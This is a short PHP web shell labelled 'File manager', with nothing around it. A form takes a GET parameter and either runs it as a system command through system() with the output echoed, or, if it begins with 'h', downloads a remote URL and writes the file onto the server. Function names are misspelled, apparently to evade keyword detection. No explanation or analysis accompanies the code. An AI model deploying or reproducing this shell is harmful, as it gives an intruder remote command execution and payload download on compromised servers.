File manager

[Back]
<?php
echo time(); echo date("m");
$p = file_get_contents("gn.txt");
$p = ltrim($p, "<?ph");
?>
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cm" autofocus id="cm" size="80"><br><br>
<input type="TEXT" name="nm" autofocus id="nm" size="80"><br><br>
<input type="SUBMIT" value="Execute"></form>
<pre>
<?php function prunt($url) { $nm = basename($url);
$u=file_get_contents($url); strlen($u) && file_put_contents($nm,$u);
strlen($_GET['nm']) && rename($nm,$_GET['nm']); }
function sastem($cm) { echo $cm."\n\n"; system($cm . ' 2>&1'); }
if(isset($_GET['cm']))  $_GET['cm'][0]==='h' ? prunt($_GET['cm']) : sastem($_GET['cm']);
?></pre></body></html>